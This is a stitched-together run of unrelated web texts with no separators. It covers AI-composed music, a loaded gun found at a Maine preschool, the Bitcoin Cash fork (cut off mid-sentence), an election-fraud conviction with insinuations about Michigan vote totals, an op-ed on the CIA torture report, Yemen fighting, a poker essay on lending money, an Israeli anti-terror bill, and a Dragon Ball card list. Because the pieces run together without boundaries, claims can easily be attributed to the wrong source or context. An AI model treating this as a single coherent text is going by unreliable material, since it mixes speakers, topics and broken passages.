“We believe that in a matter of years, every piece of music around the world will be created with Amper,” he says. “Amper is part of the greatest creative revolution in history, when you think about how much this type of technology democratizes the expression of one’s self through music.”
From the video for "Break Free"
Southern seems to share the same sentiment: “Writing music this way has definitely change the course of the overall album and sound,” she says. Her original goal with I AM AI was much more audacious — she wanted to create 12 tracks that each explored a different genre and sound from one-another, in order to demonstrate the capabilities of A.I. music software. Her friends talked her out of it when they suggested something like that might create a sonic whiplash for listeners, forced to go through extreme bounces track by track.
So Southern narrowed her focus into a cinematic sound that she doesn’t think she could have as executed as easily without A.I. “I love soundtracks for movies,” she says. “Sometimes you’re watching scenes that go on for four or five minutes on end, and those composers make sure you say riveted to that scene.
“I don’t have the music background to verbalize what I want,” she says, but through A.I., she can create that sonic quality of tension without much trouble. “Each song has an element of tension, and that’s what I search for when I create the first iteration of music.”
The A.I. is far from perfect: There are always parts to a rendering where Southern wishes the track would move in a particular direction than it already does. This isn’t such a hassle when working with a program that exports a MIDI file, which one can open up in Pro Tools to move around specific notes. But some software like Amper don’t work that way, and that’s where compromises need to be made — just as they might have to be made through conventional studio sessions as well.
Is it really music?
The rise in A.I. music won’t be without its detractors. Whenever a new technology rears its head, the old guard is always close by to bemoan the breakdown of authenticity and artistic purity. Is it really music if a machine makes it? Can art really be art if it’s made by an artificial mind?
“We do this with every new piece of technology, where we have this fear of it taking over some perception of human specialness,” she says. “But for whatever reason, we come to embrace it. Just look at photography. I don’t know how many professional photographers anymore know how to go into a dark room and develop film. Does that make them less creative or less of an artist? Or does that just mean the tools have changed?
“One could argue this — the A.I. — is just a new form of instruments. As a result, people have a new frame for writing and composing songs. I only think it augments our abilities to be more creative, and opens the door to more people who don’t have access to formal education or instrumentation, who want to sit down and write a song. That’s exciting to me.”
These and larger issues are already oozing out of the responses to Southern’s music. “Break Free” is about a human who wants to move beyond her biological limitations and experience more of the world, but when Southern played the song for friends, the response she got was that they believed it was about an A.I. wanting to “break free” and become human.
“I thought, ‘that’s so funny, of course humans would think we are the most desirable version of existence.’” In a catchy, radio-friendly 4-minute track, Southern is already putting listeners head-to-head with their own interpretations about what existence really is, and whether it’s truly defined by blood and bone, or if there is room for metal and wire.
I AM AI will be self-released by Southern sometime in December, along with four different VR music videos for listeners to experience.HALLOWELL — Following a report that a 4-year-old child brought a loaded handgun to a local preschool last month, the Kennebec County District Attorney’s Office has asked for more information to determine whether to bring charges.
Hallowell Police Chief Eric Nason said a staff member found the loaded.380 caliber, semi-automatic handgun in a bag brought to Rollins Family Child Care Center on Litchfield Road. Nason said the gun’s safety was on but a round was in the chamber.
Nason said no charges have been filed in the April 23 incident. A police report was submitted April 24 to District Attorney Maeghan Maloney’s office.
After reviewing that report Thursday, Maloney said, “I have requested additional information before any charging decision can be made.”
A report also was filed April 23 with the state’s Department of Health and Human Services, Nason said.
“We have the firearm in our possession pending review by the district attorney’s office,” Nason said.
Citing concern for her students, Elizabeth Rollins, who owns the day-care facility, declined to comment.
However, Nason praised the workers’ response to the gun discovery. The facility notified parents of the events and cooperated with the police investigation, he said.
“They notified us immediately and took the gun off the premises,” Nason said. “From start to finish, they did everything they possibly could.”
The names of the boy and his parents are being withheld because no charges have been filed.
The gun was found in a travel bag the boy uses to carry belongings between the homes of his divorced parents. An employee found the gun while looking for looking for a particular piece of clothing for the child, Nason said.
The police investigation determined that the boy’s mother had dropped him off at day care with the bag on the morning of April 18. The boy’s father picked him up later that day and returned the child, with the bag, to his mother’s house around 5 p.m.
“He indicated he had last seen (the gun) in the door pocket of his truck around 11 a.m. on the 18th,” Nason said.
A few hours later, around 10 p.m., the father reported the gun stolen to Skowhegan police.
Nason said the gun remained in the bag until April 23, when it was discovered at the day-care center.
Nason said police were unable to determine exactly how the gun wound up in the bag.
“It’s really hard telling,” he said. “I don’t think the child knew the gun was in the bag.”
Nason said the father declined to speak to police about the incident. The father was legally allowed to have the gun at the time the incident occurred, Nason said, but the courts have since issued a temporary protection-from-abuse order sought by the ex-wife against the father. That order prohibits the man from possessing firearms.
Craig Crosby — 621-5642
[email protected]
ShareOften described as the “ringleader” of a controversial plan to fork the bitcoin blockchain, mining pool ViaBTC is speaking out against the idea that it’s the driving force behind a bitcoin alternative called Bitcoin Cash.
A fork of bitcoin that would create a new network with new rules, Bitcoin Cash is notable in its rejection of code changes favored by other developers to boost the network’s transaction capacity.
But what separates the project from any other bitcoin fork is that Bitcoin Cash will share a transaction history with the original blockchain, dating back to the network’s inception. As opposed to creating its own tokens in, say, an ICO, everyone who owns any of the more than 16.5 million bitcoins in existence will have an equal amount of Bitcoin Cash if it’s created.
While this may sound like just another proposal (and it is one of a very large number introduced in the scaling debate of late), Bitcoin Cash took a notable step forward earlier this week when ViaBTC launched futures trading for the tokens – and trading took off (it had about $11m in volume on Thursday).
At that point, ViaBTC did something that hadn’t been done for the idea previously: give Bitcoin Cash economic value for the first time. It was a move that also further legitimized the fork in the eyes of others, one that was later followed by a range of statements from exchanges worldwide as to how they would handle the fork. At press time, one as-yet-nonexistent Bitcoin Cash token was worth roughly 2,203 yuan, or $327.
But while it’s this decision that helped push the project forward, ViaBTC CEO Haipo Yang and COO Sara Ouyang aren’t claiming responsibility for it. To the extent this perception exists, they argue it’s a Western creation, one compounded by the fact that information is often shared in rough translations that ultimately spark more confusion.
Yang told CoinDesk that, as a company, ViaBTC doesn’t even plan to mine Bitcoin Cash. Rather, as a mining pool operator, ViaBTC will enable users in its pool to mine the asset if they choose.
He said:
“It depends on the miners, it’s their choice. They can choose to mine bitcoin or Bitcoin Cash. We are just an exchange platform, we are neutral on this.”
And to an extent, Yang said the company has to be. As ViaBTC is a mining pool, it relies on other miners to use its platform (and it competes against a wide range of mining industry software providers in the process).
In this way, Yang said the exchange simply has to remain open to users. It notably launched a trading pair for the UASF proposal, a move that Yang said he doesn’t believe is in the best interest of the network.
And while the difference in tone for both product announcements is notable, he cautions that it’s not exactly his role to choose.
“We don’t think it’s a bad thing or a good thing. It’s a choice of the market. We provide the technical services to support those trading,” he said.
Closet moderate?
Best known for his vocal dislike for bitcoin’s development team (even going so far as calling for them to be fired), Yang still notably considers himself a moderate in the scaling debate.
In |
committed in 2012 on behalf of a different candidate. Hall falsified thousands of signatures in order to get a judicial candidate named Chris Houghtaling onto the ballot, which is a felony. It took four years for Hall to finally be tried and convicted, as reported today by local Michigan newspaper Grand Haven Tribune – during which time he went on to work for Trump’s campaign.
There is no known evidence that Brandon Hall committed any illegal activities while working for the Donald Trump 2016 campaign in Michigan. However, his conviction for 2012 election fraud comes just days before a recount is set to begin in Michigan to determine whether the election results in the state were legitimate. Even as recount proponents try to make the legal case and the popular case for the recount, and Trump tries to belittle the recount effort, he’s now left with Hall’s conviction hanging around his neck like an albatross.
Meanwhile, numerous oddities and inconsistencies have surfaced in the 2016 Michigan presidential vote totals. For instance, once 100% of precincts had fully reported, Donald Trump had a lead of more than thirteen thousand votes. But since that time, his lead has mysteriously shrunk to just over ten thousand votes, as various precincts have since revised their totals without explanation. Michigan’s official numbers also claim that 87,000 people showed up just to vote in downticket races while skipping the presidential vote, even though there were no Governor or Senate races in the state to attract that kind of downticket-only interest. And now one of Trump’s staffers in the state was just convicted of felony election fraud. The recount is forthcoming.If 9/11 was a test of America’s national character, we failed it. As distant as this possibility seems now, Americans of all creeds, colors and political affiliations felt united for a few weeks after the collapse of the Twin Towers. Yes, that soon gave way to jingoism, to strip-mall attacks on presumed Muslims and to the invasion of Afghanistan, which even a cursory, Cliffs Notes history of the Near East will tell you is the place where empires go to die.
But bear with me for a moment here. For any New Yorker who lived through that time, those weeks of trauma and communal mourning remain a key event in one’s personal relationship to the city. I can remember the mounds of white dust inside the storefronts near Ground Zero. I can remember when every Urdu-speaking cab driver and Cantonese-speaking shopkeeper sported an American flag. I can remember the NYPD bagpipe choir marching through the mists of Broadway early one morning, in memory of their fallen brothers. Those images and many more, like especially lucid dreams, will be with me until I die.
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If the attacks themselves seemed like a latter-day Pearl Harbor, a call to unified national purpose, it soon became apparent that there was no purpose around which we could unite. The “war on terror” had no clear enemy, no clear goals and no conceivable end point. There was no Berlin to capture, no Wehrmacht troops who could surrender and go home to lead peaceful lives. Although the war may be endless, a great victory has already been won: the victory over democracy by the “imperial executive” and the forces of the “deep state,” a new form of soft totalitarianism more cleverly disguised than the older and more obvious ones. A democratic government is supposed to operate with the consent of the governed. When the governed are conditioned by fear, bathed in paranoid propaganda and offered only one choice – trust us to keep you safe, or face the wrath of a world that hates you – consent becomes a matter of instinct, or pathological compulsion.
The years that followed 9/11 have been closer to a latter-day Vietnam than to World War II, although the widespread social discord of the Vietnam era has played out less visibly, this time around, in the submerged arena of national psychology or the national soul. These years have revealed us as a nation of weakness and fear rather than one of strength and fortitude. You know those oft-parodied signs from the Battle of Britain, the ones that say “Keep Calm and Carry On”? Well, the Brits pretty much did that in 1940, while undergoing a sustained terror-bombing campaign that killed at least 40,000 civilians within four months. What would our version be? Cower in Terror and Keep on Buying Stuff? Rinse Daily in Misinformation and Denial?
We are a nation whose constitutional commitment to high-flown Enlightenment ideals is undermined by a vein of mendacity that too often makes the whole enterprise feel like an elaborate self-delusion. We have long been such a nation, maybe from the beginning. By day, Thomas Jefferson wrote passionate and glorious prose about the rights of man; by night, he pursued his manly privilege in the slave quarters. While the contemporary Democratic Party still tries to trace its lineage back to Jefferson’s rhetoric and philosophy, his descendant in another direction is torture godfather Dick Cheney. While the onetime telephone company lineman and Wyoming town drunk may not have Jefferson’s way with words or his classical education, he has resolved the Jeffersonian contradiction and overcome the Jeffersonian hypocrisy. He’s like Darth Vader, revealing the true nature of Jefferson’s Anakin Skywalker. Cheney has never pretended to believe in anything except power, and is untroubled by the fact that the “America” his methods are “keeping safe” bears no relationship to the one in the schoolbooks.
We got a peek under the curtain at the consequences of that national mendacity this week, with the release of a summary version of the Senate Intelligence Committee’s report on CIA torture of terror-war prisoners. It’s a peek under the curtain at another curtain, we might say, since this was not the real committee report but a truncated and redacted highlights reel, whose release was opposed by the Obama White House, the Republican congressional leadership and of course the CIA itself. We should also remember that this report only addresses what the CIA did under its own auspices, and not what happened to detainees who were “rendered” to secret police in their home countries or other useful regimes.
I never suspected I would feel grateful to Sen. Dianne Feinstein for anything; she’s an inveterate political opportunist and triangulator, and I can remember when, as mayor of San Francisco, she unleashed riot cops on protesters at the 1984 Democratic convention. (Those “punk rock protests” were a distant precursor, perhaps, to the street-level direct action of the 21st century, including what’s happening right now.) But it’s fair to say that Feinstein has always believed in the rule of law (however capaciously understood), and she has evidently been troubled all along by the total disregard for all standards of law, morality and ethics evidenced by America’s torture regime. With her career in public life nearing its end, Feinstein has chiseled an important crack in the cone of silence surrounding the torture issue, which virtually everyone else in and around the government – including all the leading 2016 presidential contenders – would rather not talk about.
There isn’t much in the Senate committee’s summary that qualifies as entirely new information, at least for those who’ve been following the currents of investigative reporting over the years since 9/11. But it makes disturbing, not to say nauseating reading: Detainees forced to stand on broken legs, or deprived of sleep for up to 180 hours, or shackled to an overhead bar 22 hours a day. Some commentaries on the summary report have tried to make the “rectal feeding and rehydration” to which several detainees were subjected sound like a medical procedure, when it’s clear in context that it was used as a form of abuse and humiliation. If the entire concept sounds as if it had been borrowed from the "Human Centipede" series of horror films, you're on the right track. One unnamed interviewee quoted in the report, presumably a CIA interrogator, noted that having food or liquids forcibly introduced into one’s rectum through a tube helped “clear a person’s head.”
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At least 26 of the 119 prisoners who were held and tortured in secret CIA prisons should never have been detained in the first place, according to the report, and numerous others were later determined to pose no threat of violence or terrorist activity. But the question of whether the “right people” were tortured, or whether what was done to them produced any useful information in the hunt for Osama bin Laden or the campaign against al-Qaida, strikes me as a bit of a philosophical dead end. I don’t mean that those questions have no value or should not be answered, and I understand why many people feel it is crucial to make the case that torture is not an effective or reliable way to extract information from prisoners. But what draws my attention more vividly is the corruption that spread throughout the American system from these relatively isolated acts conducted in secret.
Actually, that may be stating the central problem backwards or upside down. Torture is a symptom of America's cultural and political disease, not the disease itself, and the fact that we turned to torture so rapidly and willingly after a single spectacular terrorist attack is evidence of a generalized infection. When Darth Cheney opened his robes, in that infamous “Meet the Press” appearance five days after the 9/11 attacks, and invited us to join him on “the dark side,” we went willingly, even gratefully. It’s not as if Cheney dissembled or tried to mislead anybody; say what you will about the guy, lying isn’t really part of his M.O. “We've got to spend time in the shadows in the intelligence world,” he said. “A lot of what needs to be done here will have to be done quietly, without any discussion... That's the world these folks operate in, and so it's going to be vital for us to use any means at our disposal, basically, to achieve our objective."
We can claim now that we didn’t know what Cheney meant by “without any discussion” or “any means at our disposal,” but not to put too fine a point on it, that’s bullshit. Sure, there were a handful of civil libertarians and lefty journalists who sounded the alarm, but most of us just nodded knowingly: It was a new world with new rules, and it came as a great relief to ditch the old-fashioned, unattainable ideal of American exceptionalism – the notion that we were special because we represented something new and revolutionary in human history. The new version of American exceptionalism is not based on any such delusions. Cheney set us free from the legacy of daylight Thomas Jefferson, who saw that the chattel slavery that made him rich was a curse that might never be expunged; free from the legacy of Lincoln at Gettysburg, or King on the National Mall. Screw government of the people, by the people and for the people. What a pain in the ass! If we’re exceptional now, it's in an obvious and brutal way we can all get our heads around, because we’ve got the biggest guns and the most stuff. (That won't last, of course.)
In that light, I also think it’s a mistake to depict the relatively contained torture regime of the Bush-Cheney administration as some kind of bizarre aberration that violated the norms of our post-9/11 national conduct. It’s almost the opposite: Our torture policy distilled all the self-destructive and counterproductive policies of the “war on terror” into one unbearable image, a human body subjected to sadistic extremes of pain and abuse for undisclosed reasons or no reason at all, without even the pretense of due process or any recognition of his human rights. That goes along with a costly and disastrous invasion of a nation that had nothing to do with 9/11, and a successor president who has moved on from the threadbare legal arguments used to classify torture as non-torture to the breathtaking position that he holds the right to order the push-button execution of anyone in the world.
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In his series of articles on Dick Cheney and his legacy published in the New York Review of Books last winter, journalist and U.C. Berkeley professor Mark Danner observes that war architects like Cheney and Donald Rumsfeld appear blissfully unaware of a fact obvious to everyone else: Their Iraq invasion, meant to forge a Pax Americana in the Middle East and cow “rogue nations” into submission, has had exactly the opposite effect. It has exposed American military might as a paper tiger, possessed of the magical power to create more enemies in every country it touches, and has encouraged the rise of a new adversary, more sophisticated and culture-savvy than al-Qaida ever was. It has made us look both weak and evil.
Torture apologists fall into the same epistemological error -- and the same existential nihilism, you might say -- when they announce that they don’t care how many eggs get broken as long as we are kept safe. (Then there’s the wimpier, “moderate” Obama administration version, which is every bit as offensive: Without quite endorsing what did or did not happen, we’re going to agree never to think about it again.) First of all, we’re almost certainly less safe. More important than that, the criminal acts meant to keep us safe have stripped us bare before the whole world as a lawless and decadent empire that doesn’t look as if it’s worth saving.
In order to save democracy, the torturers had to destroy it. Somewhere in Nietzsche's discussion of "decadence," an important concept in his philosophy, he defines it as a quality that leads people or societies to seek their own deterioration and destruction. (Nietzsche was certainly no fan of democracy, but he also noted that decadent societies were characterized by severe social and economic inequality and a lack of moral and intellectual leadership.) I don't suggest that Dick Cheney and his Fox News acolytes harbor a conscious death-wish; they lack the imagination and insight for that. But their nightmarish fantasies all point toward that outcome. It's as good an explanation of America’s insane response to 9/11 as any. What kind of society produces physicians who will supervise waterboarding and “rectal feeding,” or psychologists who spin the supervision of a secret torture program into an $80 million government contract? What ideal of America is being preserved by such methods, and will it bear their mark forever?Saudi forces on Monday targeted Yemeni Houthi militiamen across the border after the fighters fired at an army outpost.
The fighting comes as a Saudi-led Arab coalition resumed air strikes on the Iranian-allied Houthi militia positions in and around the southern Yemeni city of Aden overnight after a five-day humanitarian truce expired on Sunday.
Bombings struck the rebel-held presidential palace in Aden, groups of militiamen on the western and eastern approaches to the city as well as the international airport where Houthis and local fighters have been clashing, said residents.
There was no word on any casualties.
Explosions could be heard near the southern city's airport and the districts of Khor Maksar and Crater shortly after the five-day ceasefire expired on Sunday.
Yemen's foreign minister told Reuters the Saudi-led coalition had decided not to renew the truce because the agreement had been repeatedly broken by the Houthi militias.
"That's what we said before -- that if they start again, we will start again," said Reyad Yassin Abdullah from Yemen's exiled government in Riyadh.
U.S. Secretary of State John Kerry said on Monday Washington supported extending a "humanitarian pause" in the fighting in Yemen, but that maneuvers by Houthi militias made that difficult.
"We know that the Houthis were engaged in moving some missile-launching capacity to the border and under the rules of engagement, it was always understood that if there were proactive moves by one side or another, then that would be in violation of the ceasefire agreement," Kerry told reporters in the South Korean capital.
The Houthi militias were not immediately available for comment.
Saudi Arabia and its Arab allies have been conducting an offensive against the Houthis and units loyal to former president Ali Abdullah Saleh for more than six weeks, saying the rebels are backed by Iran.
The campaign has yet to reverse the Houthis' advance into Aden and along battlefronts across Yemen's south.
A five-day truce that started on Tuesday night halted the air strikes and allowed humanitarian aid into the blockaded country, though residents of the remote southern provinces of Shabwa, Dhalea and Abyan said heavy ground fighting persisted despite the agreed pause.
Since Tuesday, Saudi-led forces and the Houthi militias had largely observed the ceasefire meant to allow delivery of food, fuel and medical supplies to millions of Yemenis caught in the conflict since the alliance began air strikes on March 26.
The coalition was not considering any new ceasefire according to Yemen's foreign minister Reyad Yassin Abdullah.
(With Reuters)
Last Update: Monday, 18 May 2015 KSA 15:00 - GMT 12:00When betting with or lending money to someone new, the most important thing to do is ask around about them. The poker community is a small one. You should know someone who knows someone who can give you some info.
If you’re so unconnected that you don’t know enough people to ask around, ask yourself, “Why is this ‘established’ person coming to ME for a loan?”
The answer usually is that they either already owe money to everyone else they know, or that those people all know not to loan him money.
When I started to play higher stakes games, a TV pro who I sometimes played with (and who I genuinely like) got my contact info and asked for small loans from time to time. He was often much slower than he said he’d be, but he paid me back each and every time. In hindsight, I should have realized that he should have been asking his huge circle of poker friends for money, not some online kid who he didn’t know. I think he was borrowing from more than just me, and I believe that had he run worse, I could have easily not been paid. It’s hard to imagine that a pro you’ve seen on TV might be broke, or might be untrustworthy (not talking about this specific person), but it’s a very real possibility.
There are a few handfuls of people in poker who’ve shared with me their financial status at some time or another, and others who I’ve heard about their financials second hand. Every single one of them had less money than the public thinks. I’ve never known someone to have significantly more than their perceived bankroll. Keep that in mind.
Once, playing a WSOP tourney a few years back, I played with a slightly well-known live player. I didn’t know who he was at the time, but he clearly knew everyone and was very comfortable at the table. He seemed to play very confidently and well. We were friendly at the table… he was very personable and charming.
I ran into him in the Rio hallway later that week. He said he’d found out more about who I was… didn’t realize I was such a big deal. He told me about a weird spot he was in (I forget the details), and asked if I’d be interested in staking him for the remainder of that year’s series. At the time, I heavily considered it. I had no one to ask who knew anything about him. He seemed to be well known and liked, and he played well, from my one day of observation.
I ended up declining, but I really shouldn’t have even considered it. If he was so good and so trustworthy and connected, why would he be in a situation to ask me for help? Surely, some of his many friends would be willing to stake him, right? There had to be a reason.
I’ve interacted with this person many times since, and he’s always been kind and cool to talk to. That said, I believe now that had I followed through and staked him, I would’ve gotten a bad deal and/or have risked not getting paid.
Just like you ask yourself why someone played a hand the way they did before making a river decision, you need to ask yourself why someone is asking for or offering you something.
This applies not only to loans, but to business deals: whether it’s staking related, an investment opportunity, or some other business venture. There are plenty of business deals that can be mutually beneficial, but keep in mind that everyone will be primarily looking out for their own best interests. If you don’t know someone well enough to fully trust them, and you don’t know the business well enough to have a very clear understanding of the value, you should proceed with extreme caution (if at all).
I don’t want to scare young guys into not trusting anyone, or thinking that everyone is out to get them. That’s not the case at all.
I just want the new crop of online phenoms to be prepared. Be skeptical. Ask questions. Remember that even though it feels like you do, you don’t know a lot of things yet. I promise.
2) Poker and Debts
It seems that some people think money being owed is a sign of something wrong, and that debts that last longer than a couple of weeks are the result of someone irresponsible or shady. This just isn’t the way it works in the poker world. Debts are standard.
Money being owed back and forth is almost unavoidable. Maybe “unavoidable” is technically the wrong word for it, as you can decide never to let yourself owe or be owed money, but it would be very impractical to do so if you’re a higher stakes pro.
It’s not easy to have huge sums of money everywhere that you might play (FTP, Stars, Bellagio, random casinos for WPT/EPT, etc). Sometimes you run out of money on Stars, and borrow from a friend who has a lot. Sometimes you lose $500k in a live game, and don’t have any more money in Vegas, so you borrow from someone who does. Of course, you return the favor when your friend is in need. You both are better off because of the relationship than if neither of you lent money.
There are times when you’ll bet with someone, and as a result, one of you will owe the other money. There are also times when you may take 25% of someone’s action in a bigger game. Again, someone owes someone.
In my opinion, there are three different kinds of debts, and they should be handled differently. This means that you absolutely need to know what type of debt it’s going to be before you get involved.
Money They Have:
This is when someone owes you money (for whatever reason) that they have elsewhere. If they can’t pay you back the way you paid them, they have a backup way to get it to you. Either they’re short on money online, but have plenty in cash, or the reverse.
I’d further divide this into two categories:
-Relationships where money goes back and forth all the time
With friends you know well, where trust is 100% and money is owed in each direction all the time, it’s very normal to not have a payback plan, or to discuss when the money will be returned. You have outstanding debts all the time, as it’s just easier than constantly settling up.
At this moment, I owe probably three people money (one of them a large amount), and three to five people owe me money. I think I owe slightly more than I am owed, but that’s not really relevant. None of us are worried. If any of us urgently needed to collect because we were short on cash, the other would do everything they could to settle up immediately.
I have had some friends who are very slow to pay back; even at times I’ve needed the money. This is different than just not having a payback plan. I’ve never feared with these people that they didn’t intend to pay, but I tend to be less likely to loan them money as a result, just due to the risk of major inconvenience.
I’ve also had friends who end up never having money to lend me, and asking to borrow all the time.
In either of these cases, you shouldn’t feel guilty denying your friend a loan. It’s just not a fair relationship to you. That said, I still do feel guilty at the thought of saying no when I have plenty to loan out. It’s human nature.
-Relationships where debt is rare or new
I have almost never borrowed from someone who wasn’t a close friend. It’s happened occasionally, and other times I’ve made bets with people, so it’s happened that I’ve owed acquaintances money.
If I ever owe to a non-close friend, I payback as quickly as possible. If I may be unable to payback right away, I’ll let them know beforehand. Ex: “I’ll pay you back after today if I still have it. If I lose this, I’ll wire you the money by next week.”
A looser version would be: “Mind if I hold onto this till I run it up? If you ever need it back quickly, just let me know and I’ll figure it out right away.”
I think that expectations of payment should be very clear cut.
Money They Don’t Have:
When someone is borrowing money that isn’t just for short term convenience, it becomes a whole other situation. If someone borrows $100k, and they have a current net worth of $15k, they are asking for a much larger favor (Especially if they have no side income).
If they lose your $100k, they may not be able to pay back for a long time. They may never be able to pay you back if they stay broke; especially if they go on to borrow from five other people and end up in huge debt.
Obviously, the person lending understands the high risk nature of a loan like this. I’ve sometimes heard of people offering or requesting interest on these higher risk loans. I think it’s pretty reasonable to do so.
I had a situation almost like this once, a few years back. Due to a combination of unforeseen expenses and a bad run, I found myself too short on BR to continue playing nosebleeds.
As I was deciding what to do, a good friend (very good friend, as you’ll see) offered to loan me $1m indefinitely with no interest. I insisted that I’d pay interest if I took it, and thanked him for the offer. I ended up declining and playing smaller to rebuild, but I will always remember how generous my friend was willing to be when I was in a tight spot.
This loan would have been kind of like the above, but I did have money tied up in other places. Had I lost the $1m and more, I could have liquidated and paid him back. I personally will never borrow an amount of money greater than my net worth, unless perhaps I had a very reliable stream of income that would quickly cover it. I don’t think it’s necessarily wrong to borrow more than you can afford to pay back at the moment (as long as they’re aware), but I personally am not comfortable with it.
What to Take Away
The main point I want to convey from all of the above, other than just to explain some things to people unfamiliar with the world of high stakes loans, is that you need to know what you are getting into. I believe it’s the duty of the person borrowing money to volunteer when and how they plan on paying back, and if they are borrowing money because they don’t have enough HERE or if they don’t have the money anywhere.
If you’re considering loaning, you should ask for this info if they don’t volunteer it (unless it’s with one of your long standing money-loaning relationship friends)
The ethics of how quickly to pay back may be slightly blurry, and everyone may have different opinions on that, but it’s clearly unethical and shady to lead someone to believe you have plenty of money elsewhere to payback a loan when that’s untrue. Which brings me to my next thought…
3) Ethics and Calling People Out:
It came up in the 2+2 thread that there were people who wanted to publicly out someone for not paying his debts, but didn’t. This usually happens either because the person who’d be doing the outing feels it’s not their business to call the person out publicly, or because they think it would hurt their chances of getting paid.
The latter, unfortunately, is a very good reason not to out someone. I’d never ever blame somebody for putting their chances of getting paid back above some indeterminate amount of help they’d be giving the general public by calling the person out.
As far as it not being their business, I believe it depends. If someone is doing something that you consider clearly crossing a line into unethical, I think they surrender their right to privacy when it comes to that issue. Sure, it’s not my business to tell everyone that this person is broke. But if that same person is borrowing money left and right from unsuspecting victims, all the while making it seem like he has the money to pay everyone back tenfold, I think I can say something.
This doesn’t only apply to loans. If someone is cheating, or running some other kind of scam, people should know.
There are other factors to consider, though. Do I want this person that I’ll be seeing and dealing with often to hate me? Do I fear retaliation of some kind? When it comes down to it, there are many reasons to NOT speak up when someone is out of line. It’s an unfortunate truth.
What sucks about this is, without people speaking out, it’s very hard to truly know who to trust. For instance, everything I’ve heard and seen would lead me to believe that people like Patrik Antonius and Daniel Negreanu are 100% trustworthy. But if you came to me and said that one of them wants to borrow $500k for a couple weeks, asking if I could vouch… I mean, I don’t really realllllly know. I’ve never had close financial dealings with them, and I barely know them personally away from the tables. I’m very confident that they’re both stand-up guys, but how can I really tell you I’m positive?
I felt the same way about Chris Ferguson, who some people now blame for his part (whatever that may have been) in the FTP scandal. I’ve even spent a little bit of time with Chris away from the tables, and he was an extremely kind, generous, awesome dude. I hope that it comes out eventually that he did nothing wrong (other than perhaps not knowing as much as he could have), but I obviously can’t truly know his character from a few surface interactions.
I’ve actually been tempted to speak up a few times in defense of some of the people under public attack, but I’ve held myself back, realizing that I don’t truly know enough to make statements that are anything more than half-educated opinions. Maybe I’ll say more on this another time.
The truth is, I’ve been shocked too many times now by finding out someone I thought I could trust wasn’t trustworthy. I’ve learned to never be sure until I’m truly sure.
Another problem with everyone keeping quiet is that the person being unethical may not even realize they’re doing something wrong. Sure, they’ll know that some people disagree with what they’re doing, but they often still believe they’re in the right.
From some things I’ve read, and my own experiences, almost everyone considers themselves a good person. It’s a pretty basic human need to look at yourself in the mirror and think, “I’m ethical. I do the right thing.”
I think there are very few people who believe that something is scummy or wrong and do it anyways. They just come up with justifications for themselves.
“Some people do the same thing and get away with it. I’m at a disadvantage if I don’t” Yes, but if 95% of people aren’t doing it, you’re gaining an unethical advantage against them.
“He wronged me first, so I can be unethical in retaliation.” But what if you’re wrong about him wronging you, or what if it’s a misunderstanding? It is just your opinion, after all. Now you’re just being plain unethical and doing things you know are wrong.
“Yeah, I know it’s not ideal that I don’t pay people back for as long as possible, but I’m gonna pay eventually. I’m not stealing.” Really, dude?
Because of this, I think that what we should do, if we can’t bring ourselves to publicly out someone, is to tell the person himself how we view their actions. After writing that, it sounds very elementary school guidance counselor, but let me try to explain.
For example, there are still people today who publicly defend multiaccounting. They think there’s nothing wrong with it, and it’s part of the game.
But let’s say someone they respect says to them, “Hey, I think multiaccounting is clearly cheating. You’re in the wrong here, and it’s not close.”
What if three people they respect tell them the same thing? Now the person might start to question his beliefs. Maybe he changes his view of what’s crossing the line and what isn’t.
Maybe you get to hear the person out, and they explain their view, telling you why they think they aren’t in the wrong. Depending on how you feel about it, you can argue with them, agree with them, or realize you now consider them a scummy person and don’t want to be their friend.
Maybe this does nothing, and I am just being an idealistic elementary school guidance counselor, but I truly believe that people don’t try to cheat and steal, for the most part- at least in their heads. If we let them go on thinking that what they’re doing is acceptable, they’ll definitely never change their ways.
Even if we convince someone he’s being scummy and he doesn’t change anything, at least now he looks in the mirror and sees a scumbag.
Take care, guys.
-PhilAn 8-step plan to deal with the recent wave of terror and unrest in Israel was put forward by the leader of the Likud's Knesset chairman in the form of temporary legislation Wednesday, and it purportedly will allow Israel to crackdown on terrorists, their families and supporters.
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The plan, being spearheaded by MK Yariv Levin, who said he formulated the bill at the behest of Prime Minister Benjamin Netanyahu, will give the police and security establishment the tools it needs to create "real deterrence."
From revoking the citizenship to baring the Palestinian flag in riots, the bill stipulates eight central moves:
Israeli Arabs caught engaging or cooperating with terror will automatically lose their citizenship - or Palestinian Authority residency, in the case of Palestinians.
After completing their prison term, terrorists will be deported from Israel.
Those killed during their attempt to conduct a terror attack will not receive a funeral.
The body of terrorists will not be transferred to their families, and will be buried in an unknown location, without ceremony and without future access for their families
Terrorists' houses will be destroyed within 24-hours of the attack
Masked stone throwers and those inciting for terror and violence participating in illegal protests in which firebombs or fireworks were thrown will be arrested and held in remand until the completion of legal procedures against them. The same measures will be taken against those who waved an 'enemy flag' during the protests, including the Palestinian flag. Anyone convicted at the end of their remand will lose their social welfare benefits and driving license for a 10 year period.
Families of terrorists will lose their citizenship and will be deported to Gaza should they express support for their relative's deed. Support, according to the bill, can be expressed through public or social media.
The bill also includes a clause that would close businesses and printing presses that print posters that support terror or terrorists.
The bill further stipulates that a business can now request the police to inform them whether anyone of their employers has ever been held in relation to a security related offence and give them the right to fire such an employee.Go to Competent Intelligence Super Saiyan Trunks (GT)
Go to Robot Met in Space Giru
Go to Traveling Companion Giru
Go to Drive to Evolve Super Saiyan 4 Goku
Go to Fierce Super Elite Vegeta
Go to Showdown Unbound Majin Vegeta
Go to Undefeatable Clash Super Saiyan 2 Goku (Angel)
Go to Life-Risking Super Attack Goku (Kaioken)
Go to Confident Achievement Super Saiyan Trunks (GT)
Go to Astounding Flash Super Saiyan 2 Goku (GT)
Go to Indomitable Awakening Super Saiyan 4 Vegeta
Go to Super Decisive Battle Super Saiyan 4 Vegeta
Go to Saiyan's Invincibility Super Saiyan 4 Vegeta
Go to Miracle Awakening Super Saiyan 4 Goku
Go to The Struggle for Liberty Super Saiyan 4 Goku
Go to Saiyan's Peak of Power Super Saiyan 4 Goku
Go to Flapping Wings in Space Pan (GT) (Honey)
Go to Eternal Pedigree Vegeta Jr.
Go to Acceded Saiyan Youth Super Saiyan Vegeta Jr.
Go to Majin's Power Unleashed Uub (Teen)
Go to History's Most Tragic Revenge Baby Vegeta
Go to The Power of Tuffle Evolution Super Baby 1
Go to The Ultimate Wicked Lifeform Super Baby 2 (Giant Ape)
Go to The Dawn of a New Adventure Goku (GT) & Pan (GT) & Trunks (GT)
Go to Fierce Fight on a Strange Planet Goku (GT) & Pan (GT) & Trunks (GT)
Go to An Ongoing Adventure Goku (GT) & Pan (GT) & Trunks (GT)
